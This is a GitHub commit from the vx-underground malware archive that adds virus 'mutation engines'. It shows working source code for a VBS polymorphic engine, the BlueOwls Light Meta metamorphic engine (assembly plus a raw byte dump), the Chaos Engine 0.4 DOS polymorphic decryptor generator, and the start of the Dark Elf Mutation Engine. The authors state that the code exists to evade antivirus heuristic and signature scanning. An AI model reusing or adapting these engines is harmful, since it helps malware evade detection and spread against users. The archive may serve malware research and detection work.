Add files via upload

This commit is contained in:
vxunderground 2020-10-09 21:50:53 -05:00 committed by GitHub
parent 3b1112577c
commit 930c435323
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
36 changed files with 16849 additions and 0 deletions

BIN
Engines/Virus.BAT.Poly.7z Normal file

Binary file not shown.

BIN
Engines/Virus.Linux.Lime.7z Normal file

Binary file not shown.

View File

@ -0,0 +1,73 @@
Kefi's VBS Polymorphic Engine v0.1
[KVPE]
January 24, 2003
Kefi.[rRlf]
-
How to use KVPE:
1. Make a list of every variable in your VBS file
2. Add it them at the line given
3. Add the following code to the bottom of your VBS file
-
Significance:
This script will replace your variables with a randomly created string with
a random length. By doing this Anti-Viruses will not be able to pick them
up with heuristic scanning, or by the file's size.
-
Disclaimer:
This code is for educational purposes only. I will not be held responsible
for your actions with this script.
If you are to use this script in your VBS file you MUST contact me first. I
do not want this method spread.
-
Note:
On run this file will create new varibles in your file, which will be hard
to work with, I sujest not running the file until it is finished.
-
Contact Me:
e-Mail - kefi@rRlf.de
HTTP - http://vx.netlux.org/~kefi
VX Group - http://rRlf.de
'---------------- KVPE Code Starts ----------------
randomize
set fso=createobject("scripting.filesystemobject")
set vbsfile=fso.opentextfile(wscript.scriptfullname,1,false)
code=vbsfile.readall
vars=array("code","vars","var","newlet","num","newlet","fso","vbsfile") '<--- Add all of your varibles here, but do not take any of the ones already in out because if you do the script will not work.
for each var in vars
for num=1 to int(rnd*14) + 2
if int(rnd*2)+1=1 then
newlet=newlet& ucase(chr((int(rnd*22)+97)))
if int(rnd*2)+1=1 then
newlet=newlet & int(rnd*int(rnd*4))
end if
else
newlet=newlet&lcase(chr((int(rnd*22)+97)))
if int(rnd*2)+1=1 then
newlet=newlet&int(rnd *2)
else
newlet=newlet&int(rnd*int(rnd*6))
end if
end if
next
code=replace(code,var,newlet)
newlet=""
next
set vbsfile=fso.opentextfile(wscript.scriptfullname,2,false)
vbsfile.write code
'---------------- KVPE Code Stops ----------------
A newer version may be expected in the future, goto http://vx.netlux.org/~kefi for
updates.
Regards,
Kefi.[rRlf]

BIN
Engines/Virus.Win32.Abme.7z Normal file

Binary file not shown.

BIN
Engines/Virus.Win32.Alma.7z Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
Engines/Virus.Win32.Ape.7z Normal file

Binary file not shown.

Binary file not shown.

Binary file not shown.

325
Engines/Virus.Win32.Blm.asm Normal file
View File

@ -0,0 +1,325 @@
; BLM ~ BlueOwls Light Meta
; *************************
;
; Details
;
; Name: BLM (BlueOwls Light Meta)
; Date: 16 May 2005
; Size: 412 bytes
; Morphing power: light
; Morphing type: non-expansion
; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..)
; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes
; Used compiler: FASM 1.60
; Bugs: hopefully none
;
; Morphing
;
; The following instructions can be morphed:
;
; 1. OP reg, reg -> changing the D bit (2)
; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4)
; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2)
;
; Any other instruction's size is calculated and skipped.
;
; Usage notes
;
; BLM can be usefull for any application which would like to do code
; morphing on its own, or other code. There are however, some things
; to keep note on:
;
; - Make sure you don't mix data with code, for example:
; > CALL _LABEL
; > DB "some string",0
; > _LABEL:
; Would make the meta miscorrectly assume "some string",0 to be
; code. So make sure that in the codearea you specify is no data.
; - On input, esi is allowed to equal edi, but it is not recommended
; if it will cause the meta to morph itself on runtime.
; - This code does not need any data, and only needs to be able to
; execute. It is completely permutatable.
;
; Agreement
;
; This sourcecode is meant to be used in freeware and shareware
; programs, and therefor it is strictly prohibited to add any of this
; code in binary or source format in scan strings or other detection
; methods. If done, it will impact on the sellability of the product,
; and can result in high fees and/or trials before court.
; YOU HAVE BEEN WARNED
use32
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META SOURCE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; in: esi(ecx) = start of code to morph
; edi(ecx) = start of buffer to put morphed code in
; ecx = size of code to morph (and buffer)
; out: esi = esi + ecx
; edi = edi + ecx
; other registers are destroyed (except esp)
BLM: cld
lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph
nextcode: push ebx
xor ecx, ecx
push 4
pop ebx
call .innext
pop ebx
rol edx, 7 ; simple RAND function
neg dx
cmp ebx, esi
ja nextcode
ret
.next: movsb
.innext: mov al, [esi]
and al, 11100111b
cmp al, 00100110b ; es/cs/ss/ds segment?
jz .next ; check if more
mov al, [esi]
and al, 11111110b
cmp al, 01100100b ; fs/gs segment?
jz .next ; check if more
cmp al, 11110010b ; repz/repnz?
jz .next ; check if more
cmp al, 01100110b ; WORD?
jnz opcode
mov bl, 2 ; set WORD size
jmp .next
; -----------------------------------------------------------------------
opcode: mov al, [esi]
cmp al, 0fh
jnz branch_start
movsb
or al, [esi] ; ????1111
cmp al, 10001111b
jz .6byte ; -> jxx label32
cmp al, 10111111b
jz .3byte ; -> movzx/bt?
jmp .done
.6byte: movsb
movsb
movsb
.3byte: movsb
.done: movsb
ret
branch_start: shl al, 1
jc branch_1xxxxxxx
branch_0xxxxxxx:shl al, 1
jc branch_01xxxxxx
branch_00xxxxxx:shl al, 4
jnc op_rmrm_d
op_eax: mov al, [esi]
shr al, 1
jc .pr32
movsb
movsb
ret ; -> op al, imm8
.pr32: add ecx, ebx ; -> op eax, imm32
rep movsb
movsb
ret
branch_01xxxxxx:cmp al, 11000000b
jb .ncjump
movsb ; -> jxx label8
.ncjump: cmp al, 068h
jz do_5byte ; -> push imm32
cmp al, 06ah
jnz .done ; -> popad/pushad/pop/push/dec/inc (reg)
stosb ; -> push imm8
.done: movsb
ret
op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m
rcr edx, 1 ; rand true/false
jc .nomorph
cmp al, 11000000b
.nomorph: jb op_rm ; (jc == jb so little optimization)
lodsb
xor al, 00000010b
stosb
lodsb
and eax, 00111111b ; 00000000 00regreg
shl eax, 5 ; 00000reg reg00000
shr al, 2 ; 00000reg 00reg000
or al, ah ; 00000xxx 00regreg
or al, 11000000b ; 11regreg
stosb
ret
branch_1xxxxxxx:shl al, 1
jc branch_11xxxxxx
branch_10xxxxxx:shl al, 1
jc branch_101xxxxx
branch_100xxxxx:shl al, 1
jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf
branch_1000xxxx:cmp al, 01000000b
jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m)
shl al, 3
jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8
jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32
branch_101xxxxx:shl al, 1
jc branch_1011xxxx
branch_1010xxxx:and al, 11100000b
cmp al, 00100000b
jb op_eax ; -> test eax, imm
cmp al, 10000000b
jz do_5byte ; -> mov mem32, eax
movsb
ret ; -> movs/stos/lods/scas
branch_1011xxxx:shl al, 1
jnc branch_1100001x.2byte ; -> mov reg, imm8
jmp op_eax.pr32 ; -> mov reg, imm32
do_5byte: movsd
movsb
ret
branch_11xxxxxx:shl al, 1
jc branch_111xxxxx
branch_110xxxxx:shl al, 1
jc branch_1101xxxx
branch_1100xxxx:cmp al, 11010000b
jz branch_1100001x.2byte ; -> int imm8
shl al, 1
jc branch_1100001x.done ; -> leave/int 3
branch_11000xxx:shl al, 1
jc op_rm_w ; -> mov r/m, imm
branch_110000xx:shl al, 1
jc branch_1100001x
inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
jmp op_rm
branch_1100001x:shl al, 1
jc .done
.3byte: movsb
.2byte: movsb ; -> ret imm16
.done: movsb
ret ; -> ret
branch_1101xxxx:shl al, 2
jc branch_1100001x.done ; -> xlatb
branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
branch_111xxxxx:shl al, 1
jc branch_1111xxxx
branch_1110xxxx:shl al, 1
jnc branch_11101010 ; -> loop label
branch_11101xxx:cmp al, 00100000b
jz branch_111010x0.done ; -> call label
branch_111010x0:shl al, 2
jc branch_11101010
.done: movsd ; -> jmp label32
movsb
ret
branch_11101010:movsb
movsb
ret ; -> jmp label8
branch_1111xxxx:shl al, 1
jc branch_11111xxx
branch_11110xxx:shl al, 2
jnc branch_11111xxx.done ; -> cmc
branch_11111x1x:mov al, [esi+1] ; al = modr/m
and al, 00111000b
jnz op_rm ; -> not/mul/div/idiv
jmp op_rm_w ; -> test
branch_11111xxx:shl al, 1
jc .done ; -> clc/stc/cli
shr al, 1
jc op_rm ; -> inc/dec/call/jmp/push
.done: movsb
ret ; -> cld/std
; -----------------------------------------------------------------------
op_rm_w: mov al, [esi]
shr al, 1
jnc op_rmimm8
op_rmimm32: add ecx, ebx ; imm length will be 4 or 2
dec ecx
op_rmimm8: inc ecx ; imm length = 1 byte
op_rm: movsb
lodsb
stosb
cmp al, 11000000b ; op reg, reg
jae .done
mov ah, al
and al, 111b
shr ah, 6
jz .regaddr
cmp ah, 00000001b
jz .ddone
add ecx, 3 ; op reg, [reg+dword]
.ddone: inc ecx ; op reg, [reg+byte]
.cmpsib: cmp al, 00000100b
jnz .done
xor ebx, ebx
mov eax, ebx
lodsb ; 00000000 iiregreg
shl eax, 2 ; 000000ii regreg00
xchg bl, ah ; 00000000 regreg00
shl eax, 3 ; 00000reg reg00000
shr al, 5 ; 00000reg 00000reg
cmp ah, 4
jz .randindex
cmp al, 4
jz .nosib
or bl, bl ; index = 1?
jnz .nosib
rcr edx, 1
jnc .nosib ; randomly abort switch
xchg al, ah
jmp .nosib
.randindex: mov bl, dl ; index is random
and bl, 00000011b
.nosib: shl al, 5 ; 00000reg reg00000
shr eax, 3 ; 00000000 regreg00
mov ah, bl ; 000000ii regreg00
shr eax, 2 ; 00000000 iiregreg
stosb
.done: rep movsb
ret
.regaddr: cmp al, 00000101b ; op reg, [dword]
jnz .cmpsib
movsd
jmp .done
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META BINARY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; in: esi(ecx) = start of code to morph
; edi(ecx) = start of buffer to put morphed code in
; ecx = size of code to morph (and buffer)
; out: esi = esi + ecx
; edi = edi + ecx
; other registers are destroyed (except esp)
BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91
db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231
db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235
db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10
db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164
db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6
db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114
db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1
db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170
db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195
db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131
db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208
db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208
db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27
db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3
db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249
db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224
db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2
db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208
db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164
db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128
db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216
db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116
db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235
db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232
db 2,170,243,164,195,60,5,117,191,165,235,246
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

View File

@ -0,0 +1,862 @@
radix 16
;*****************************************
;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
;*****************************************
;1995 - Sepultura - Australia
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;on CALLing of TCE -
;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
;;; 2 - Make Short Decryptor (No Junk).
;;; 4 - Add Segment Overide.
;;;
;;;CX = Length of Code to Encrypt.
;;;DX = Delta Offset.
;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
;;;ES:DI = Location of Buffer to Create Decryptor in.
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;ON RETURN:
;;;ES = DS = Segment of Decryptor / Encrypted Code
;;;DX = Pointer to Start of Code
;;;CX = Length of Code
;;;;;;;;;;;;;;;;;;;
;;;Flag EQUates
MAKE_SMALL equ 1
PAD_TO_MAX equ 2
ADD_SEG equ 4
;;;;;;;;;;;;;;;;;;;
;;;W.H.A.T.E.V.E.R
DECRYPTOR_LENGTH equ 190h
MAX_PADDING equ 90h - 1f
length_1 equ (offset int_tbl - offset one_byters)-1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;REGISTER TABLE - INTEL STANDLE FORMAT
tce_AX equ 0000xB
tce_CX equ 0001xB
tce_DX equ 0010xB
tce_BX equ 0011xB
tce_SP equ 0100xB
tce_BP equ 0101xB
tce_SI equ 0110xB
tce_DI equ 0111xB
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;THe BeLoW InSTuCTiOn CaN KilL A MaN
db '[TCE-0.4]',0
;*****************************************************
;*****************************************************
;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
;*****************************************************
;*****************************************************
tce: push ax,bx,bp
push di,si
cld
mov tce_begin,di
mov tce_delta,dx
mov c_length,cx
mov tce_flags,ax
call clear_regs
mov B index_sub,0
mov B[offset more_junk],0b0
test W tce_flags,MAKE_SMALL
if nz mov B[offset more_junk],0c3
push si
call get_rand_1f
add ax,MAX_PADDING
xchg cx,ax
call more_junk
swap0: mov si,offset init_1
lodsw
call binary
jz no_swap1
xchg ax,[si]
mov [si-2],ax
no_swap1:
push ax
lodsw
call binary
jnz no_swap2
xchg ax,[si]
mov [si-2],ax
no_swap2:
push ax
lodsw
lodsw
call binary
jz build_code
xchg ax,[si]
mov [si-2],ax
build_code:
pop ax
call ax
call pad_10
pop ax
call ax
call pad_10
call W init_3
call pad_10
call gen_decrypt
call pad_8
call W init_4
call pad_8
call W init_5
call pad_10
call gen_loop
call pad_8
test W tce_flags,PAD_TO_MAX
jz no_padding
mov B[offset more_junk],0b0
mov cx,DECRYPTOR_LENGTH
add cx,tce_begin
sub cx,di
call more_junk
no_padding:
mov ax,di
sub ax,DECRYPTOR_LENGTH
add enc_index,ax
mov bx,W index_loc
cmp B index_sub,1
if e neg ax
add es:[bx],ax
pop si
mov cx,c_length
rep movsb
mov dx,tce_begin
mov ds,es
call encryptor
mov cx,di
sub cx,dx
pop si,di
pop bp,bx,ax
ret
init_count: ;Initialises Count Register..
call get_unused_reg ;Make Count Initialiser in Encryptor and
cmp al,tce_DX
je init_count
mov count_reg,al ;Decryptor
mov bx,W c_length
shr bx,1
mov W enc_length,bx
call gen_mov_reg
ret
init_index: ;Initialises Index Register..
mov ax,0ff ;Makes Index Initialiser in Encryptor and
call get_rand ;Decryptor..
push ax
call get_rand_7
pop ax
if z xor ax,ax
mov B index_off,al
mov bx,DECRYPTOR_LENGTH
add bx, tce_begin
mov W enc_index,bx
add bx, tce_delta
cbw
sub bx,ax
get_index:
call get_unused_reg
cmp al,tce_BX
jb get_index
mov W index_num,ax
mov B index_reg,al
mov B index_set,1
call gen_mov_reg
mov B index_set,0
ret
gen_decrypt: ;generates DECRYPTOR / ENCRYPTOR instruction
mov W loop_start,di
call pad_8
mov bl,B key_reg
sal bl,3
call get_rand_2
add ax,ax
add ax,offset enc_table
xchg si,ax
lodsw
call binary
if z xchg ah,al
push ax
cmp si,offset enc_table + 2
jne no_carry_set
mov al,0f8
call binary
if z inc ax
mov B enc_cf,al
stosb
no_carry_set:
test W tce_flags,ADD_SEG
jz no_seg_set
mov al,2e
stosb
no_seg_set:
pop ax
stosb
mov B enc_loop,ah
mov si,W index_num
cmp B index_reg,tce_BP
je encryptor_has_offset
cmp B index_off,0
jne encryptor_has_offset
push ax
call get_rand_7
pop ax
jz encryptor_has_offset
add si,index_tab_c
lodsb
or al,bl
stosb
ret
encryptor_has_offset:
add si,index_tab_b
lodsb
or al,bl
mov ah,B index_off
or al,bl
stosw
xchg al,ah
cbw
call binary
jnz ret
mov al,ah
stosb
add es:B[di-3],40
ret
modify_key: ;Modify Key: XOR/ADD/SUB key_reg,xxxx
call get_rand_7
jz no_mod_key
call get_rand_2
add ax,offset modify_table
xchg si,ax
lodsb
mov ah,al
mov al,81
mov W enc_mod_op,ax
or ah,B key_reg
stosw
call get_any_rand
stosw
no_mod_key:
mov W enc_mod_val,ax
ret
inc_index: ;increase index by 2..
call binary ;1 in 2 chance of ADD reg,2/SUB reg,-2
jz add_sub_index
mov al,B index_reg
or al,40
stosb
call pad_8
stosb
ret
add_sub_index:
mov al,83
stosb
mov ah,2
mov al,B index_reg
or al,0c0
call binary
jnz put_add_sub_index
neg ah
or al,0e8
put_add_sub_index:
stosw
ret
gen_loop:
mov al,B count_reg
cmp al,tce_CX
jne not_CX
push ax
call get_rand_7
pop ax
jz not_CX
lea bx,[di+2]
mov ax,W loop_start
sub ax,bx
mov ah,0e2
call binary
jnz no_loop_nz
xchg bp,ax
jmp short do_loop_nz
no_loop_nz:
xchg ah,al
stosw
ret
not_CX: xchg bx,ax
call binary
jz count_add_sub
mov al,48
or al,bl
stosb
jmp short zero_test
count_add_sub:
mov al,83
stosb
mov ah,-1
mov al,bl
or al,0c0
call binary
jnz put_add_sub_count
neg ah
or al,0e8
put_add_sub_count:
stosw
xor bp,bp
push ax
call get_rand_7
pop ax
jz nloop_nz
zero_test:
call pad_10
xor bp,bp
do_loop_nz:
mov al,B count_reg
mov bl,al
sal al,3
or al,bl
xchg ah,al
mov bh,ah
call get_rand_2
add ax,offset zero_test_a
xchg si,ax
lodsb
mov ah,bh
or ah,0c0
stosw
nloop_nz:
lea bx,[di+2]
mov ax,W loop_start
sub ax,bx
or bp,bp
jnz loop_nz
mov ah,075
call binary
jnz nnnn
mov B es:[di],0f8
inc di
sub ax,0fe01
db 0a9
loop_nz:mov ah,0e0
nnnn: xchg ah,al
stosw
ret
init_key:
call get_any_rand
mov W enc_key,ax
xchg bx,ax
call get_unused_reg
mov B key_reg,al
gen_mov_reg:
call binary
jz lea_mov
or al,0b8
stosb
xchg ax,bx
jmp short put_mov_b
lea_mov:call binary
jz zero_then_add
sal al,3
or al,06
mov ah,8d
xchg ah,al
stosw
xchg ax,bx
jmp short put_mov_b
zero_then_add: ;Zero Register (XOR/SUB reg,reg)
push bx ;Then OR/XOR/ADD Value
push ax ;or SUB -Value
mov ah,0c0
or ah,al
sal al,3
or ah,al
mov al,29
call binary
if z mov al,31
stosw
call pad_10
pop bx
call get_rand_2
add ax,offset value_from_0
xchg si,ax
lodsb
call binary
jz zero_then_sub
or al,bl
mov ah,81
xchg ah,al
stosw
pop ax
put_mov_b:
cmp B index_set,01
if e mov W index_loc,di
stosw
ret
zero_then_sub:
cmp B index_set,01
if e mov B index_sub,1
mov al,0e8
or al,bl
mov ah,81
xchg ah,al
stosw
pop ax
neg ax
jmp short put_mov_b
pad_8: push ax ;Sub Procedure to Pad Between 1 and 8 bytes
call get_rand_7
inc ax
jmp short padder
pad_10: push ax
call get_rand_1f ;Sub Procedure to Pad Between 8 and 16 bytes
or al,8
padder: xchg cx,ax
call more_junk
pop ax
ret
more_junk:
mov al,03
call get_rand_b
jnz mj0
mov B [offset code_jmp],083 ;Re-Enable Jumps
mov ax,cx ;else normal filler junk (1 in 16)
cmp ax,40
if a mov al,40
call get_rand_b
xchg bx,ax
call fill_jnk
jmp short mj2
mj0: ;8 in 16 chance of some type of jump
call code_jmp
mj2: jcxz ret
jmp short more_junk
one_byte: ;GENERATES A ONE BYTE JUNK INSTRUCTION
jcxz ret
mov si,one_byters ;FROM one_byters TABLE
mov al,length_1
call get_rand_b
add si,ax
movsb
dec cx
dec bx
ret
reg_op: call get_rand_7 ;ANY OP unused_reg16,reg16..
sal al,3
or al,3
xchg dx,ax
call get_unused_reg
sal al,3
mov dh,al
call get_rand_7
do_op: or dh,al
or dh,0c0
xchg dx,ax
put_2: cmp bx,2
jb one_byte
stosw
dec cx,2
dec bx,2
ret
lea_reg:call get_rand_7 ;LEA unused_reg,[BP/BX/SI/DI]
cmp al,6
je lea_reg
xchg dx,ax
call get_unused_reg
sal al,3
or al,dl
mov ah,08d
xchg ah,al
jmp short put_2
op_ax: call get_any_rand
and al,8
or al,5
and ah,3
shr ah,4
or al,ah
put_3: cmp bx,3
jb reg_op
stosb
call get_any_rand
put_3b: stosw
sub cx,3
sub bx,3
ret
mov_reg:call get_unused_reg ;MOV unused_reg16,xxxx
or al,0b8
jmp short put_3
op_reg_im: ;cmp/add/sub/adc/sbb/or/xor/and reg16,imm16
cmp bx,4
jb op_ax
call get_unused_reg
mov ah,81
xchg dx,ax
call get_rand_7
sal al,3
or ax,dx
xchg ah,al
or ah,0c0
stosw
call get_any_rand
stosw
sub bx,4
sub cx,4
ret
code_jmp:
cmp cx,3
jb ret
mov B [offset code_jmp],0c3 ;Disable Jumps.This ensures Unchained
;(TBAV-J) and helps stops heuristics
call get_any_rand ;else conditional jmp
and ax,1f0f ;between 4 and 43 bytse jmp length
add ah,4
or al,70 ;conditional jmp instructions are 70
;--> 7f
push ax
call get_rand_1f
pop ax
if z mov al,0e3
xor bx,bx
mov bl,ah
dec cx,2
cmp bx,cx
jb put_jmp
mov bx,cx
mov ah,bl
put_jmp:stosw
fill_jnk:
or bx,bx
jz ret
mov al,((offset binary - offset junk_tbl)/2)-1
call get_rand_b
add ax,ax
add ax,offset junk_tbl
xchg si,ax
lodsw
call ax
jmp short fill_jnk
pp_reg: ;generate PUSH reg / junk / POP reg
cmp bx,3
jb gen_int
lea ax,[bx-2]
shr ax,1
call get_rand
xchg ax,dx
call get_rand_7
or al,50
stosb
dec cx
dec bx
push ax
xchg dx,ax
sub bx,ax
push bx
xchg bx,ax
call fill_jnk
pop bx
pop ax
call binary
jz use_same
call get_unused_reg
or al,50
use_same:
or al,8
stosb
dec cx
dec bx
ret
gen_int:cmp bx,4
jb ret
call get_rand_2
add ax,ax
add ax,offset int_tbl
xchg si,ax
lodsw
mov dx,0cdb4
xchg al,dl
stosw
xchg dx,ax
xchg ah,al
stosw
sub cx,4
sub bx,4
ret
junk_tbl: dw offset op_reg_im
dw offset op_reg_im
dw offset op_reg_im
dw offset gen_int
dw offset gen_int
dw offset pp_reg
dw offset pp_reg
dw offset reg_op
dw offset reg_op
dw offset lea_reg
dw offset lea_reg
dw offset mov_reg
dw offset op_ax
dw offset one_byte
binary: push ax
mov al,1
call get_rand_b
pop ax
ret
get_rand_2:
mov al,2
db 0a9
get_rand_7:
mov al,7
db 0a9
get_rand_1f:
mov al,1f
db 0a9
get_any_rand: ;return rnd number in AX between 0 and FFFE
mov al,0fe
get_rand_b:
cbw
get_rand: ;returns random number in AX between 0 and AX
push cx,dx
inc ax
push ax
in ax,40
xchg cx,ax
in ax,40
rol ax,cl
xchg cx,ax
in ax,40
xor ax,cx
adc ax,1234
org $-2
last_rand dw 0AAAA
mov last_rand,ax
pop cx
xor dx,dx
cmp cx,1
adc cx,0
div cx
xchg dx,ax
or ax,ax
pop dx,cx
ret
one_byters: cmc ;15 1 byte junk instructions
cld
std
in ax,dx
in al,dx
lahf
cbw
nop
aaa
aas
daa
das
inc ax
dec ax
xlat
int_tbl: dw 0116 ;AH=01,INT16: Check Keyboard Buffer..
dw 0216 ;AH=02,INT16: Get Keyboard States..
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
dw 4d21 ;AH=4D,INT21: Get Program Terminate Status..
dw 0d10 ;AH=0D,INT10: Get Video Info..
dw 0b21 ;AH=0B,INT21: Check Keyboard Buffer..
dw 002a
dw 002a
clear_regs: cwd
mov B index_reg,dl ;Clears Register Tables
mov B key_reg,dl ;(All Regs Free)..
mov B count_reg,dl
ret
get_unused_reg: call get_rand_7 ;Return an Unused Register..
test al,NOT tce_SP ;But _NOT_ SP, or AX.
jz get_unused_reg
cmp al,index_reg
je get_unused_reg
cmp al,count_reg
je get_unused_reg
cmp al,B key_reg
je get_unused_reg
ret
;**********************************************
;* The Encryptor (Built along with Decryptor) *
;**********************************************
encryptor: mov cx,1234
org $-2
enc_length dw 0
mov bx,1234
org $-2
enc_index dw 0
mov ax,1234
org $-2
enc_key dw 0
enc_cf: nop
enc_loop: xor [bx],ax
enc_mod_op dw 0
enc_mod_val dw 0
inc bx,2
loop enc_cf
ret
;****************************
;* Data / Variables / Flags *
;****************************
init_1 dw offset init_count
init_2 dw offset init_key
init_3 dw offset init_index
init_4 dw offset inc_index
init_5 dw offset modify_key
;* The Below is A table of Values to Be Used To Choose *
;* The Count Register, The Index Register, and The Reg *
;* to save SP in During the Decryptor Loop *
; BX BP SI DI ;This Table is used To Build
index_tab_b: db 0,0,0,47,0,46,44,45 ;The Decryptor Instruction
index_tab_c: db 0,0,0,7,0,0,4,5 ;Same As Above
; SBB ADC XOR XOR ADD SUB
enc_table: db 19, 11, 31, 31, 01, 29 ;The Decryptor Opcodes..
; AND OR TEST
zero_test_a: db 21, 09,85
; SUB ;Opcodes to Modify the Key
modify_table: db 0e8 ;Register
; ADD XOR OR ;Opcode to get A value
value_from_0: db 0c0,0f0,0c8 ;from 0.
loop_start dw 0 ;Postion for LOOP to Jump to..
index_num dw 0
index_off db 0 ;OFFSET of INDEX reference (i.e: [SI+XX]).
index_loc dw 0 ;location in ES of index reference set
index_sub db 0 ;Was index_reg set using 0 the sub -value?
index_reg db 0 ;Table of Used Registers..
count_reg db 0 ;used in GET_UNUSED_REG
key_reg db 0
index_set db 0
tce_flags dw 0 ;Engines Flags
tce_delta dw 0 ;Delta Offset
tce_begin dw 0 ;Beginning
c_length dw 0
end_tce:

View File

@ -0,0 +1,821 @@
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Dark Elf Mutation Engine [DEME] v1.1 CopyLeft (cl) MSTUdent 1996 ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
;¯®¤¯à®£à ¬¬ë :
; DEME - á ¬ Mutation ¨ ¥áâì
; Randomize - ¥â ¯®àâ 40h
; RND - AX = RND(65536)
PUSHSTATE
IDEAL
LOCALS @@
DEME_MaxDecoderLen=1500
proc DEME
;<3B> à ¬¥âàë :
;es:di -  ¤à¥á ¡ãä¥à , ¢ ª®â®àë© ¡ã¤¥â § ¯¨á ­ १ã«ìâ â
; à §¬¥à_¡ãä¥à  = à §¬¥à_¨á室­®£®_ª®¤  + 1500
;ds:si -  ¤à¥á ª®¤ , ª®â®àë© ­¥®¡å®¤¨¬® § è¨ä஢ âì
;dx -  ¤à¥á ¯à¨¢ï§ª¨ à áè¨ä஢騪  (¯®¤®¡­® ORG xxxx)
;bx - à §¬¥à ¨á室­®£® ª®¤  (¢ ¡ ©â å)
;‚®§¢à é ¥â :
;cx - ¤«¨­  ¯®«ã祭­®£® ª®¤  (¢ ¡ ©â å)
pushf
push bx di si ds
push cs
pop ds
cld
inc bx
shr bx,1
mov [DEME_CodeLen],bx
mov [DEME_Origin],dx
mov [DEME_BuffOffs],di
call Randomize
call DEME_ChooseRegs
call DEME_GenProlog
call DEME_GenCrypt
call DEME_GenEpilog
pop ds si
call DEME_Encode
mov cx,di
pop di bx
sub cx,di
popf
ret
endp DEME
R_AX=00000000b
R_CX=00000001b
R_DX=00000010b
R_BX=00000011b
R_SP=00000100b
R_BP=00000101b
R_SI=00000110b
R_DI=00000111b
M_AX=00000001b
M_CX=00000010b
M_DX=00000100b
M_BX=00001000b
M_SP=00010000b
M_BP=00100000b
M_SI=01000000b
M_DI=10000000b
M_INDEX=M_BX+M_SI+M_DI
M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI
DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0
DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0
DEME_Date db ??date,0,??time,0
